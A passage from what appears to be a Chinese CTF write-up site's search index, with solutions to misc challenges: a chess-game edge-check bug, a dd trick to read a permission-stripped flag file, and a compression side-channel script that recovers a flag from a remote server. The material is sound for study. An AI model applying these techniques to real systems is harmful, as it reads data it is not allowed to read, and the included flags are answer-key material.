flag) sdctf{L0SiNG_y0uR_S0uRC3_C0d3_sUcKs} Goal 2 (second flag) sdctf{I_d1dnt_hAND_0u7_th3_s0urC3_c0D3_thIs_TIME}","title":"Bishop Duel"},{"location":"misc/bishop_duel/#_1","text":"2 bishops on the chessboard. Goal 1 (first flag) Lose the game by letting your bishop be captured. Goal 2 (second flag) Win by capturing the other bishop. Avoiding a draw is easy huh? But wait... Connect via nc bishop.sdc.tf 1337 main.rs use std :: io :: { stdout , Write }; use std :: process :: exit ; use std :: thread :: sleep ; use std :: time :: Duration ; /* * Can you tell this was my first rust program ever? lmao */ use crossterm :: { cursor , execute , queue , style , terminal :: { Clear , EnterAlternateScreen , LeaveAlternateScreen }}; use crossterm :: terminal :: ClearType ; use rand :: { rngs , SeedableRng }; use rand :: prelude :: SliceRandom ; use text_io :: read ; static TITLE_SCREEN : & str = \" o (^) -=H=- BISHOP DUEL ] [ -- press enter to start -- /___ \\\\ \" ; // having to double escape these backslashes makes this astoundingly ugly static BOARD : & str = \" \\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ Q# - up left # spaces \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\ E# - up right # spaces \\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ Z# - down left # spaces \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\ C# - down right # spaces \\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\ D - offer draw \\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ R - resign \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\\\\\\\\\\\\\ __ \\\\ \" ; enum Direction { UpLeft , UpRight , DownLeft , DownRight } struct Bishop { position : u16 } impl Bishop { fn get_xy ( & self ) -> ( u16 , u16 ) { let rows = self . position / 8 + 1 ; return (( self . position % 8 ) * 3 + rows , rows ); } fn move_position ( & mut self , dir : Direction , dist : u16 ) -> bool { let position_multiplier : i32 = match dir { Direction :: UpRight => - 7 , Direction :: DownLeft => 7 , Direction :: UpLeft => - 9 , Direction :: DownRight => 9 , }; let new_position = i32 :: from ( self . position ) + position_multiplier * i32 :: from ( dist ); // make sure we don't exceed the bottom and top of the chessboard if new_position < 0 || new_position > 64 { return false ; } // make sure we don't exceed the left and right edge of the chessboard match dir { Direction :: UpLeft | Direction :: DownLeft => { if self . position % 8 < dist { return false ; } } Direction :: UpRight | Direction :: DownRight => { if dist + self . position % 8 > 8 { return false ; } } } self . position = u16 :: try_from ( new_position ). unwrap (); return true ; } } fn pause ( msg : & str ) -> String { println! ( \"{}\" , msg ); read ! ( \"{} \\n \" ) } fn main () { let mut stdout = stdout (); let mut is_player_turn = true ; let mut white_bishop = Bishop { position : 5 }; let mut black_bishop = Bishop { position : 57 }; queue ! ( stdout , EnterAlternateScreen , Clear ( ClearType :: All ), style :: Print ( TITLE_SCREEN )). unwrap (); stdout . flush (). unwrap (); pause ( \"\" ); loop { let ( bb_x , bb_y ) = black_bishop . get_xy (); let ( ww_x , ww_y ) = white_bishop . get_xy (); queue ! ( stdout , Clear ( ClearType :: All ), cursor :: MoveTo ( 0 , 0 ), style :: Print ( BOARD ), cursor :: MoveTo ( bb_x , bb_y ), style :: Print ( \"BB\" ), cursor :: MoveTo ( ww_x , ww_y ), style :: Print ( \"WW\" ), cursor :: MoveTo ( 0 , 10 ) ). unwrap (); stdout . flush (). unwrap (); // this means SOMEBODY has been captured if white_bishop . position == black_bishop . position { if is_player_turn { pause ( \"You have been defeated! Your flag is REDACTED\" ); exit ( 0 ); } pause ( \"You have claimed victory! Your flag is REDACTED\" ); exit ( 0 ); } if is_player_turn { // if its the white bishop's turn execute ! ( stdout , style :: Print ( \"You are the white bishop. Input move > \" )). unwrap (); let command : String = read ! ( \"{} \\n \" ); let mut command_chars = command . chars (); if let Some ( c1 ) = command_chars . next () { match c1 { 'r' | 'R' => { pause ( \"A brave bishop shall never resign!\" ); }, 'd' | 'D' => { execute ! ( stdout , style :: Print ( \"The black bishop is thinking.\" )). unwrap (); sleep ( Duration :: from_millis ( 1000 )); execute ! ( stdout , style :: Print ( \".\" )). unwrap (); sleep ( Duration :: from_millis ( 1000 )); execute ! ( stdout , style :: Print ( \".\" )). unwrap (); sleep ( Duration :: from_millis ( 1000 )); pause ( \"Accepted! The game is a draw!\" ); break ; }, _ => { let direction : Direction = match c1 { 'e' | 'E' => Direction :: UpRight , 'z' | 'Z' => Direction :: DownLeft , 'q' | 'Q' => Direction :: UpLeft , 'c' | 'C' => Direction :: DownRight , _ => continue }; let distance = match command_chars . next () { None => continue , Some ( c2 ) => match c2 . to_digit ( 10 ) { None => continue , Some ( d ) => d as u16 } }; let successful = white_bishop . move_position ( direction , distance ); if successful { // now its the black bishop's turn is_player_turn = false ; } } } } } else { // black bishop's turn println! ( \"The black bishop is thinking...\" ); sleep ( Duration :: from_millis ( 1000 )); // get all black spaces and filter by currently accessible let curr = i32 :: from ( black_bishop . position ); let mut possible_positions = ( 0 .. 64 ). step_by ( 2 ) . map ( | i | if ( i / 8 ) % 2 == 0 { i } else { i + 1 }) . filter ( | i | ( curr - i ). abs () % 7 == 0 || ( curr - i ). abs () % 9 == 0 ). collect :: < Vec < i32 >> (); // if the white bishop is in our path, CRUSH THEM if possible_positions . contains ( & i32 :: from ( white_bishop . position )) { black_bishop . position = white_bishop . position ; is_player_turn = true ; continue ; } // otherwise, let's filter out moves that would put us in the path of the white bishop let white_curr = i32 :: from ( white_bishop . position ); if white_curr % 2 == 0 { possible_positions = possible_positions . into_iter () . filter ( | i | ( white_curr - i ) % 7 != 0 && ( white_curr - i ) % 9 != 0 ). collect :: < Vec < i32 >> (); } // otherwise, randomly select a new move let mut rng = rngs :: StdRng :: seed_from_u64 ( white_bishop . position as u64 ); let new_position = possible_positions . choose ( & mut rng ). unwrap (); black_bishop . position = u16 :: try_from ( * new_position ). unwrap (); // now its the white bishop's turn is_player_turn = true ; } } execute ! ( stdout , LeaveAlternateScreen ). unwrap (); }","title":"\u9898\u76ee"},{"location":"misc/bishop_duel/#_2","text":"\u4f7f\u7528 QEZC \u5728\u68cb\u76d8\u8303\u56f4\u5185\u79fb\u52a8\u65f6\uff0c\u7531\u4e8e\u8d70\u7684\u662f\u5bf9\u89d2\u7ebf\uff0c\u9ed1\u767d\u4e3b\u6559\u59cb\u7ec8\u5728\u5bf9\u5e94\u7c7b\u578b\uff08\u9ed1 / \u767d\uff09\u7684\u683c\u5b50\u5185\u79fb\u52a8\uff0c\u6ca1\u6709\u4ea4\u96c6 \\__\\\\\\\\__\\\\\\\\__\\WW\\__\\\\\\\\ Q# - up left # spaces \\\\\\\\__\\\\\\\\__\\\\\\\\__\\\\\\\\__\\ E# - up right # spaces \\__\\\\\\\\__\\\\\\\\__\\\\\\\\__\\\\\\\\ Z# - down left # spaces \\\\\\\\__\\\\\\\\__\\\\\\\\__\\\\\\\\__\\ C# - down right # spaces \\__\\\\\\\\__\\\\\\\\__\\\\\\\\__\\\\\\\\ \\\\\\\\__\\\\\\\\__\\\\\\\\__\\\\\\\\__\\ D - offer draw \\__\\\\\\\\__\\\\\\\\__\\\\\\\\__\\\\\\\\ R - resign \\\\\\\\BB\\\\\\\\__\\\\\\\\__\\\\\\\\__\\ \u60f3\u8981\u6293\u5230 black bishop \u6216\u8005\u88ab\u6293\u5230\uff0c\u9996\u5148\u8981\u79fb\u52a8\u5230\u540c\u4e00\u79cd\u7c7b\u578b\u7684\u683c\u5b50\u91cc \u90a3\u4e48\u5173\u952e\u70b9\u5c31\u662f\u51fd\u6570 move_position \u4e86\uff0c\u56e0\u4e3a\u79fb\u52a8\u5e76\u4e0d\u662f\u6309\u7167\u7c7b\u4f3c \\((x,y)\\) \u7684\u5750\u6807\u5f62\u5f0f\u3002\u5b9e\u9645\u4e0a\uff0c\u6bcf\u4e2a\u683c\u5b50\u7684\u4f4d\u7f6e\u76f8\u5f53\u4e8e\u6309\u7167\u5149\u6805\u626b\u63cf\u7684\u987a\u5e8f\u7f16\u53f7\uff0c\u6839\u636e \u5f53\u524d\u4f4d\u7f6e + \u5bf9\u5e94\u65b9\u5411\u7684\u7cfb\u6570 * \u79fb\u52a8\u683c\u6570 \u53d6\u5f97\u4e0b\u4e00\u4e2a\u4f4d\u7f6e\uff0c\u7136\u540e\u5224\u65ad\u79fb\u52a8\u662f\u5426\u6709\u6548 \u65b0\u4f4d\u7f6e\u7684\u503c\u5e94\u5728 \\([0,64]\\) \u4e4b\u95f4 \u5982\u679c\u79fb\u52a8\u65b9\u5411\u4e3a\u5de6\u4e0a/\u5de6\u4e0b\uff0c\u90a3\u4e48\u79fb\u52a8\u683c\u6570\u4e0d\u5927\u4e8e\u5f53\u524d\u4f4d\u7f6e\u7684\u503c\u6a21 \\(8\\) \u5982\u679c\u79fb\u52a8\u65b9\u5411\u4e3a\u53f3\u4e0a/\u53f3\u4e0b\uff0c\u90a3\u4e48\u79fb\u52a8\u683c\u6570\u4e0e\u5f53\u524d\u4f4d\u7f6e\u503c\u6a21 \\(8\\) \u7684\u548c\u4e0d\u5927\u4e8e \\(8\\) \u4ee5\u521d\u59cb\u4f4d\u7f6e \\(5\\) \u4e3a\u4f8b\uff0c\u4e0a\u79fb\u4e00\u5b9a\u5bfc\u81f4\u4f4d\u7f6e\u503c\u5c0f\u4e8e \\(0\\) \uff0c\u6240\u4ee5\u53ea\u8003\u8651\u4e0b\u79fb \u53f3\u4e0b\u79fb\u52a8\u4e24\u683c\u4ee5\u5185\u663e\u7136\u662f\u53ef\u884c\u7684\uff0c\u4f46\u5982\u679c\u662f \\(3\\) \u683c\u5462\uff1f\u663e\u7136\u65b0\u4f4d\u7f6e\u7684\u503c\u4e0d\u4f1a\u8d85\u8fc7 \\(64(> 5+9\\times 3)\\) \uff0c\u800c \\(3+5 \\% 8\\) \u6070\u597d\u7b49\u4e8e \\(8\\) \uff0c\u6240\u4ee5\u53ef\u4ee5\u79fb\u52a8\uff0c\u5e76\u4e14\u4f1a\u8fdb\u5165 black_bishop \u7684\u79fb\u52a8\u8303\u56f4 \u03a6\u03c9\u03a6 \u5de6\u4e0b\u65b9\u5411\u6b63\u5e38\u53ef\u79fb\u52a8\u8303\u56f4\u5185\u7684\u683c\u5b50\u5c31\u6709\u4e94\u4e2a\u4e86\uff0c\u6240\u4ee5\u60f3\u8981\u5229\u7528\u5de6\u4e0b\u79fb\u52a8\u8df3\u5230\u53e6\u4e00\u79cd\u7c7b\u578b\u7684\u683c\u5b50\u662f\u4e0d\u53ef\u884c\u7684 \u2014v\u2014 \u79fb\u52a8\u5230\u540c\u4e00\u79cd\u7c7b\u578b\u7684\u683c\u5b50\u4e4b\u540e\uff0c\u518d\u73a9\u73a9\u6e38\u620f\u5c31\u80fd\u83b7\u5f97 Flag \u5566 \\(\u03a6\u03c9\u03a6 \u2261 \u03a6\u03c9\u03a6)/","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/bishop_duel/#flag","text":"Goal 1 (first flag) sdctf{L0SiNG_y0uR_S0uRC3_C0d3_sUcKs} Goal 2 (second flag) sdctf{I_d1dnt_hAND_0u7_th3_s0urC3_c0D3_thIs_TIME}","title":"Flag"},{"location":"misc/chm0d/","tags":["dd","chmod"],"text":"#dd #chmod .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 Catch-22: a problematic situation for which the only solution is denied by a circumstance inherent in the problem. Credentials: user:password123 \u89e3\u9898\u601d\u8def \u00b6 flag.txt \u4f4d\u4e8e\u6839\u76ee\u5f55\u4e0b\uff0c\u4f46\u4e0d\u53ef\u8bfb $ ls -l total 76 ... ---------- 1 user user 40 May 12 11 :44 flag.txt ... chmod \u547d\u4ee4\u4e0d\u53ef\u7528\uff0c\u4e14 user \u4e0d\u662f\u6240\u6709\u8005 $ ls /bin/chmod -l ---------- 1 root root 64448 Sep 24 2020 /bin/chmod \u53ef\u4ee5\u5728\u5bb6\u76ee\u5f55\u521b\u5efa\u4e00\u4e2a\u6587\u4ef6\uff0c\u518d\u7528\u539f\u59cb\u6587\u4ef6\u8986\u76d6\u5b83\uff0c\u8fd9\u6837\u80fd\u591f\u4fdd\u7559\u53ef\u8bfb\u6743\u9650 $ touch flag.txt $ dd if = /flag.txt of = flag.txt $ cat flag.txt Hero { chmod_1337_would_have_been_easier } \u53c2\u8003\u8d44\u6599 \u00b6 permissions - How to chmod without /usr/bin/chmod? - Unix & Linux Stack Exchange","title":"Chm0d"},{"location":"misc/chm0d/#_1","text":"Catch-22: a problematic situation for which the only solution is denied by a circumstance inherent in the problem. Credentials: user:password123","title":"\u9898\u76ee"},{"location":"misc/chm0d/#_2","text":"flag.txt \u4f4d\u4e8e\u6839\u76ee\u5f55\u4e0b\uff0c\u4f46\u4e0d\u53ef\u8bfb $ ls -l total 76 ... ---------- 1 user user 40 May 12 11 :44 flag.txt ... chmod \u547d\u4ee4\u4e0d\u53ef\u7528\uff0c\u4e14 user \u4e0d\u662f\u6240\u6709\u8005 $ ls /bin/chmod -l ---------- 1 root root 64448 Sep 24 2020 /bin/chmod \u53ef\u4ee5\u5728\u5bb6\u76ee\u5f55\u521b\u5efa\u4e00\u4e2a\u6587\u4ef6\uff0c\u518d\u7528\u539f\u59cb\u6587\u4ef6\u8986\u76d6\u5b83\uff0c\u8fd9\u6837\u80fd\u591f\u4fdd\u7559\u53ef\u8bfb\u6743\u9650 $ touch flag.txt $ dd if = /flag.txt of = flag.txt $ cat flag.txt Hero { chmod_1337_would_have_been_easier }","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/chm0d/#_3","text":"permissions - How to chmod without /usr/bin/chmod? - Unix & Linux Stack Exchange","title":"\u53c2\u8003\u8d44\u6599"},{"location":"misc/compress_the_flag/","text":"\u9898\u76ee \u00b6 Technically this isn't a good compression benchmark, but it's the only one we have. nc compresstheflag.hackable.software 1337 server.py #!/usr/bin/env python3 import threading import socket import random import codecs import lzma as lz with open ( \"flag.txt\" , \"rb\" ) as f : FLAG = f . read () . strip () def none ( v ): return len ( v ) def zlib ( v ): return len ( codecs . encode ( v , \"zlib\" )) def bzip2 ( v ): return len ( codecs . encode ( v , \"bz2\" )) def lzma ( v ): return len ( lz . compress ( v )) COMPRESSION_FUNCS = [ none , zlib , bzip2 , lzma ] def handle_connection ( s , addr ): s . sendall ( ( \"Please send: seed:string \\\\ n \\n \" \"I'll then show you the compression benchmark results! \\n \" \"Note: Flag has format DrgnS{[A-Z]+} \\n \" ) . encode ()) data = b '' while True : idx = data . find ( b ' \\n ' ) if idx == - 1 : if len ( data ) > 128 : s . shutdown ( socket . SHUT_RDWR ) s . close () return d = s . recv ( 1024 ) if not d : s . close () return data += d continue line = data [: idx ] data = data [ idx + 1 :] seed , string = line . split ( b ':' , 1 ) flag = bytearray ( FLAG ) random . seed ( int ( seed )) random . shuffle ( flag ) print ( flag ) test_string = string + bytes ( flag ) response = [] for cfunc in COMPRESSION_FUNCS : res = cfunc ( test_string ) response . append ( f \" { cfunc . __name__ : >8 } { res : >4 } \" ) response . append ( '' ) response . append ( '' ) s . sendall ( ' \\n ' . join ( response ) . encode ()) s . shutdown ( socket . SHUT_RDWR ) s . close () def main (): with socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) as s : s . setsockopt ( socket . SOL_SOCKET , socket . SO_REUSEADDR , 1 ) s . bind (( '0.0.0.0' , 1337 )) s . listen ( 256 ) while True : conn , addr = s . accept () print ( f \"Connection from: { addr } \" ) th = threading . Thread ( target = handle_connection , args = ( conn , addr ), daemon = True ) th . start () if __name__ == \"__main__\" : main () \u89e3\u9898\u601d\u8def \u00b6 \u63d0\u4f9b\u4e00\u4e2a\u968f\u673a\u6570\u79cd\u5b50\u548c\u5b57\u7b26\u4e32\uff0c\u670d\u52a1\u5668\u4f7f\u7528\u968f\u673a\u6570\u79cd\u5b50\u6253\u4e71 Flag \u5b57\u7b26\u7684\u987a\u5e8f\uff0c\u518d\u62fc\u63a5\u4e0a\u63d0\u4f9b\u7684\u5b57\u7b26\u4e32\uff0c\u8fd4\u56de\u6700\u540e\u751f\u6210\u5b57\u7b26\u4e32\u7684\u539f\u957f\u5ea6\u4ee5\u53ca\u4e0d\u540c\u538b\u7f29\u7b97\u6cd5\u538b\u7f29\u540e\u7684\u957f\u5ea6 Please send: seed:string \\n I ' ll then show you the compression benchmark results! Note: Flag has format DrgnS {[ A-Z ] + } 1 :A none 26 zlib 34 bzip2 63 lzma 84 none \u5373\u4e0d\u8fdb\u884c\u538b\u7f29\uff0c\u9664\u53bb\u8f93\u5165\u7684\u5b57\u7b26\u4e32\u548c Flag \u5934\uff0c\u9700\u8981\u6c42\u89e3\u7684\u90e8\u5206\u7684\u957f\u5ea6\u4e3a \\(26 - 1 - 7 = 18\\) \u6307\u5b9a\u968f\u673a\u6570\u79cd\u5b50\uff0c\u4e5f\u5c31\u662f\u8bf4\u53ef\u4ee5\u77e5\u9053 Flag \u6253\u4e71\u4e4b\u540e\u6bcf\u4e00\u4e2a\u5b57\u7b26\u539f\u5148\u7684\u4f4d\u7f6e \u5148\u5728\u672c\u5730\u7528 DrgnS{ABCDEFGHIJKLMNOPQR} \u89c2\u5bdf\u4e00\u4e0b \u5f53\u79cd\u5b50\u4e3a 1 \u65f6\uff0c\u5b57\u6bcd E \u5f00\u5934 \u89c2\u5bdf\u53d1\u73b0\uff0c\u5f53\u8f93\u5165\u5b57\u7b26\u4e32\u4e3a 4 \u4e2a\u76f8\u540c\u5b57\u7b26\u65f6\uff0c EEEE \u548c\u6253\u4e71\u7684 Flag \u5b57\u7b26\u4e32\u4f7f\u7528 zlib \u548c bzip2 \uff08\u5747\u542b RLE \u548c Huffman \u7f16\u7801\uff09\u538b\u7f29\u7684\u957f\u5ea6\u4f1a\u5c0f\u4e8e\u5176\u4ed6\u5b57\u7b26 1 :EEEE none 29 zlib 35 bzip2 69 lzma 88 1 :AAAA none 29 zlib 37 bzip2 70 lzma 88 1 :SSSS none 29 zlib 37 bzip2 70 lzma 88 \u5148\u627e\u5230\u4f7f\u6bcf\u4e2a\u5b57\u6bcd\u6253\u4e71\u540e\u4f5c\u4e3a\u5f00\u5934\u7684\u968f\u673a\u6570\u79cd\u5b50 import random flag_pos = b 'DrgnS {ABCTEFGHIJKLMNOPQR} ' # \u4e3a\u65b9\u4fbf\u67e5\u627e\uff0c\u6bcf\u4e2a\u5b57\u7b26\u5747\u4e0d\u76f8\u540c d = {} for i in range ( 10000 ): random . seed ( i ) tflag = bytearray ( flag_pos ) random . shuffle ( tflag ) if tflag [ 0 ] in b 'ABCTEFGHIJKLMNOPQR' and tflag [ 0 ] not in d : d [ tflag [ 0 ]] = i if len ( d ) == 18 : break \u968f\u540e\u7206\u7834\u6bcf\u4e00\u4e2a\u5b57\u6bcd\uff08\u6709\u4e00\u5b9a\u7684\u8fd0\u6c14\u6210\u5206\uff0c\u5982\u679c\u968f\u673a\u6570\u79cd\u5b50\u6ca1\u9009\u597d\uff0c\u5bfc\u81f4\u6253\u4e71\u7684 Flag \u5f00\u5934\u662f\u8fde\u7eed\u5b57\u6bcd\u5c31\u96be\u4ee5\u76f4\u63a5\u6839\u636e\u957f\u5ea6\u5224\u65ad\u4e86\uff09 import pwn conn = pwn . remote ( \"compresstheflag.hackable.software\" , 1337 ) conn . recvline_contains ( 'Note' ) flag_pos = 'DrgnS {ABCTEFGHIJKLMNOPQR} ' flag = list ( 'DrgnS {xxxxxxxxxxxxxxxxxx} ' ) for k in d : min , mic = 0xffff , 'A' for c in range ( ord ( 'A' ), ord ( 'Z' ) + 1 ): conn . send ( f ' { d [ k ] } : { chr ( c ) * 4 } \\n ' ) l = int ( conn . recvline_contains ( 'zlib' ) . split ( b ' ' )[ - 1 ]) if l < min : min , mic = l , chr ( c ) flag [ flag_pos . find ( chr ( k ))] = mic print ( '' . join ( flag )) # DrgnS{THISISACRIMEIGUESS} \u53c2\u8003\u8d44\u6599 \u00b6 bzip2 - Wikipedia zlib - Wikipedia","title":"Compress The Flag"},{"location":"misc/compress_the_flag/#_1","text":"Technically this isn't a good compression benchmark, but it's the only one we have. nc compresstheflag.hackable.software 1337 server.py #!/usr/bin/env python3 import threading import socket import random import codecs import lzma as lz with open ( \"flag.txt\" , \"rb\" ) as f : FLAG = f . read () . strip () def none ( v ): return len ( v ) def zlib ( v ): return len ( codecs . encode ( v , \"zlib\" )) def bzip2 ( v ): return len ( codecs . encode ( v , \"bz2\" )) def lzma ( v ): return len ( lz . compress ( v )) COMPRESSION_FUNCS = [ none , zlib , bzip2 , lzma ] def handle_connection ( s , addr ): s . sendall ( ( \"Please send: seed:string \\\\ n \\n \" \"I'll then show you the compression benchmark results! \\n \" \"Note: Flag has format DrgnS{[A-Z]+} \\n \" ) . encode ()) data = b '' while True : idx = data . find ( b ' \\n ' ) if idx == - 1 : if len ( data ) > 128 : s . shutdown ( socket . SHUT_RDWR ) s . close () return d = s . recv ( 1024 ) if not d : s . close () return data += d continue line = data [: idx ] data = data [ idx + 1 :] seed , string = line . split ( b ':' , 1 ) flag = bytearray ( FLAG ) random . seed ( int ( seed )) random . shuffle ( flag ) print ( flag ) test_string = string + bytes ( flag ) response = [] for cfunc in COMPRESSION_FUNCS : res = cfunc ( test_string ) response . append ( f \" { cfunc . __name__ : >8 } { res : >4 } \" ) response . append ( '' ) response . append ( '' ) s . sendall ( ' \\n ' . join ( response ) . encode ()) s . shutdown ( socket . SHUT_RDWR ) s . close () def main (): with socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) as s : s . setsockopt ( socket . SOL_SOCKET , socket . SO_REUSEADDR , 1 ) s . bind (( '0.0.0.0' , 1337 )) s . listen ( 256 ) while True : conn , addr = s . accept () print ( f \"Connection from: { addr } \" ) th = threading . Thread ( target = handle_connection , args = ( conn , addr ), daemon = True ) th . start () if __name__ == \"__main__\" : main ()","title":"\u9898\u76ee"},{"location":"misc/compress_the_flag/#_2","text":"\u63d0\u4f9b\u4e00\u4e2a\u968f\u673a\u6570\u79cd\u5b50\u548c\u5b57\u7b26\u4e32\uff0c\u670d\u52a1\u5668\u4f7f\u7528\u968f\u673a\u6570\u79cd\u5b50\u6253\u4e71 Flag \u5b57\u7b26\u7684\u987a\u5e8f\uff0c\u518d\u62fc\u63a5\u4e0a\u63d0\u4f9b\u7684\u5b57\u7b26\u4e32\uff0c\u8fd4\u56de\u6700\u540e\u751f\u6210\u5b57\u7b26\u4e32\u7684\u539f\u957f\u5ea6\u4ee5\u53ca\u4e0d\u540c\u538b\u7f29\u7b97\u6cd5\u538b\u7f29\u540e\u7684\u957f\u5ea6 Please send: seed:string \\n I ' ll then show you the compression benchmark results! Note: Flag has format DrgnS {[ A-Z ] + } 1 :A none 26 zlib 34 bzip2 63 lzma 84 none \u5373\u4e0d\u8fdb\u884c\u538b\u7f29\uff0c\u9664\u53bb\u8f93\u5165\u7684\u5b57\u7b26\u4e32\u548c Flag \u5934\uff0c\u9700\u8981\u6c42\u89e3\u7684\u90e8\u5206\u7684\u957f\u5ea6\u4e3a \\(26 - 1 - 7 = 18\\) \u6307\u5b9a\u968f\u673a\u6570\u79cd\u5b50\uff0c\u4e5f\u5c31\u662f\u8bf4\u53ef\u4ee5\u77e5\u9053 Flag \u6253\u4e71\u4e4b\u540e\u6bcf\u4e00\u4e2a\u5b57\u7b26\u539f\u5148\u7684\u4f4d\u7f6e \u5148\u5728\u672c\u5730\u7528 DrgnS{ABCDEFGHIJKLMNOPQR} \u89c2\u5bdf\u4e00\u4e0b \u5f53\u79cd\u5b50\u4e3a 1 \u65f6\uff0c\u5b57\u6bcd E \u5f00\u5934 \u89c2\u5bdf\u53d1\u73b0\uff0c\u5f53\u8f93\u5165\u5b57\u7b26\u4e32\u4e3a 4 \u4e2a\u76f8\u540c\u5b57\u7b26\u65f6\uff0c EEEE \u548c\u6253\u4e71\u7684 Flag \u5b57\u7b26\u4e32\u4f7f\u7528 zlib \u548c bzip2 \uff08\u5747\u542b RLE \u548c Huffman \u7f16\u7801\uff09\u538b\u7f29\u7684\u957f\u5ea6\u4f1a\u5c0f\u4e8e\u5176\u4ed6\u5b57\u7b26 1 :EEEE none 29 zlib 35 bzip2 69 lzma 88 1 :AAAA none 29 zlib 37 bzip2 70 lzma 88 1 :SSSS none 29 zlib 37 bzip2 70 lzma 88 \u5148\u627e\u5230\u4f7f\u6bcf\u4e2a\u5b57\u6bcd\u6253\u4e71\u540e\u4f5c\u4e3a\u5f00\u5934\u7684\u968f\u673a\u6570\u79cd\u5b50 import random flag_pos = b 'DrgnS {ABCTEFGHIJKLMNOPQR} ' # \u4e3a\u65b9\u4fbf\u67e5\u627e\uff0c\u6bcf\u4e2a\u5b57\u7b26\u5747\u4e0d\u76f8\u540c d = {} for i in range ( 10000 ): random . seed ( i ) tflag = bytearray ( flag_pos ) random . shuffle ( tflag ) if tflag [ 0 ] in b 'ABCTEFGHIJKLMNOPQR' and tflag [ 0 ] not in d : d [ tflag [ 0 ]] = i if len ( d ) == 18 : break \u968f\u540e\u7206\u7834\u6bcf\u4e00\u4e2a\u5b57\u6bcd\uff08\u6709\u4e00\u5b9a\u7684\u8fd0\u6c14\u6210\u5206\uff0c\u5982\u679c\u968f\u673a\u6570\u79cd\u5b50\u6ca1\u9009\u597d\uff0c\u5bfc\u81f4\u6253\u4e71\u7684 Flag \u5f00\u5934\u662f\u8fde\u7eed\u5b57\u6bcd\u5c31\u96be\u4ee5\u76f4\u63a5\u6839\u636e\u957f\u5ea6\u5224\u65ad\u4e86\uff09 import pwn conn = pwn . remote ( \"compresstheflag.hackable.software\" , 1337 ) conn . recvline_contains ( 'Note' ) flag_pos = 'DrgnS {ABCTEFGHIJKLMNOPQR} ' flag = list ( 'DrgnS {xxxxxxxxxxxxxxxxxx} ' ) for k in d : min , mic = 0xffff , 'A' for c in range ( ord ( 'A' ), ord ( 'Z' ) + 1 ): conn . send ( f ' { d [ k ] } : { chr ( c ) * 4 } \\n ' ) l = int ( conn . recvline_contains ( 'zlib' ) . split ( b ' ' )[ - 1 ]) if l < min : min , mic = l , chr ( c ) flag [ flag_pos . find ( chr ( k ))] = mic print ( '' . join ( flag )) # DrgnS{THISISACRIMEIGUESS}","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/compress_the_flag/#_3","text":"bzip2 - Wikipedia zlib - Wikipedia","title":"\u53c2\u8003\u8d44\u6599"},{"location":"misc/difficult_programming_language/","text":"\u89e3\u9898\u601d\u8def \u00b6 \u6253\u5f00\u719f\u6089\u7684 pcap \u6587\u4ef6\u4e00\u770b\uff0c\u770b\u5230\u4e86\u964c\u751f\u7684 USB \u534f\u8bae\uff0c\u767b\u65f6\u50bb\u773c(\u309c-\u309c) \u901a\u8fc7\u641c\u7d22\u4e86\u89e3\u5230 USB \u534f\u8bae\u4e2d\u7684\u6570\u636e\u5305\u542b\u5728 Leftover Capture Data \u5b57\u6bb5\u4e2d\uff0c\u9f20\u6807\u534f\u8bae\u7684\u6570\u636e\u957f\u5ea6\u4e3a \\(4\\) \u4e2a\u5b57\u8282\uff0c\u952e\u76d8\u534f\u8bae\u7684\u6570\u636e\u957f\u5ea6\u4e3a \\(8\\) \u4e2a\u5b57\u8282 \u7531\u6570\u636e\u957f\u5ea6\u53ef\u4ee5\u5224\u65ad\uff0c\u7531\u9898\u76ee\u7ed9\u51fa\u7684 pcap \u6587\u4ef6\u53ef\u4ee5\u6062\u590d\u51fa\u952e\u76d8\u7684\u6309\u952e\u4fe1\u606f\u5495\uff0c\u5176\u4e2d\u51fb\u952e\u4fe1\u606f\u96c6\u4e2d\u5728\u7b2c \\(3\\) \u4e2a\u5b57\u8282 \u5c06\u7b2c\u4e09\u5b57\u8282\u53d6\u51fa\u6765\uff0c\u5bf9\u7167\u6620\u5c04\u8868\u5f97\u5230\u51fb\u952e\u5e8f\u5217 USB KEYBOARD \u7684\u6620\u5c04\u8868\uff0c \u5b8c\u6574\u5bf9\u7167\u8868 - USB HID usage table XD \u5077\u4e2a\u61d2\u5495\uff0c\u76f4\u63a5\u4f7f\u7528\u73b0\u6709\u7684 UsbKeyboardDataHacker.py \u8fdb\u884c\u51fb\u952e\u5e8f\u5217\u7684\u63d0\u53d6\uff08\u9700\u8981\u4e0b\u8f7d tshark \uff0c\u7528\u4e8e Leftover Capture Data \u5b57\u6bb5\u4fe1\u606f\u7684\u63d0\u53d6\uff09 \u63d0\u53d6\u540e\u5f97\u5230\u4e86\u8fd9\u4e48\u4e2a\u73a9\u610f\uff08?\uff09\uff1a 